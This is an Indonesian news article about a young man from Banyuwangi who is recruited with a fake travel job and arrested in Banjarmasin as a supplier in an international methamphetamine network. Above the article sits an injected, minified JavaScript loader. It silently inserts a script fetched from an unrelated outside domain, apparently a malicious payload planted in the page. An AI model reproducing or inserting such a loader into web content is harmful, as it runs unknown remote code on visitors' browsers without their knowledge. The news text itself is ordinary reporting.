(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ditawari Kerja di Travel, Yudi Malah Masuk Jaringan Narkoba Internasional

KANALKALIMANTAN.COM, BANJARMASIN – Niat mau bekerja secara benar, entah kenapa nasib P alias Yudi malah masuk jaringan narkoba internasional. Pemuda berusia 26 tahun warga Dusun Tegalyasan RT 003 RW 001 Desa Tegalarum, Kecamatan Sempu Kabupaten Banyuwangi ini, diringkus jajaran Dit Resnarkoba Polda Kalsel bersama dua rekannya di Jalan Mahligai Komplek m Griya Mandiri, Kertak Hanyar, Kabupaten Banjar pada Jum’at (6/3/2020) sore.

Dengan tertunduk malu, Yudi hanya bisa pasrah lengannya diborgol bersama rekan lainnya saat gelar perkara pengungkapan peredaran narkoba jaringan internasional di Mapolda Kalsel, Rabu (11/3/2020) siang. Kepada awak media, Yudi mengaku awalnya ia diiming-imingi bekerja di suatu travel.

“Awalnya ditawari kerja untuk tour pariwisata,” katanya.

Namun siapa sangka, rupanya ia terbawa arus menjadi pemasok narkotika jenis sabu jaringan internasional. Yudi mengaku tidak tahu besaran upah dari apa yang ia lakoni. “Untuk uang tiap harinya, berapa gaji saya tidak tahu,” ucapnya.

Yudi mengaku, ia bersama rekannya SS alias Subur (25) telah dua bulan berada di kota Banjarmasin. “Sudah dua bulan di sini,” tukasnya.

Direktur Resnarkoba Polda Kalsel Kombes Pol Iwan Eka Putra. foto: fikri

Sementara itu, Direktur Resnarkoba Polda Kalsel Kombes Pol Iwan Eka Putra membenarkan, P alias Yudi sempat diiming-imingi bekerja di suatu travel oleh seseorang bernama Andi, yang masih buron. Sebelum akhirnya menjadi pemasok narkoba di Kalsel.

“Pelaku dijanjikan bekerja di suatu travel kemudian diberikan uang Rp18 juta. Mungkin dianggap berbagi lah,” ungkap Kombes Iwan. (kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Bie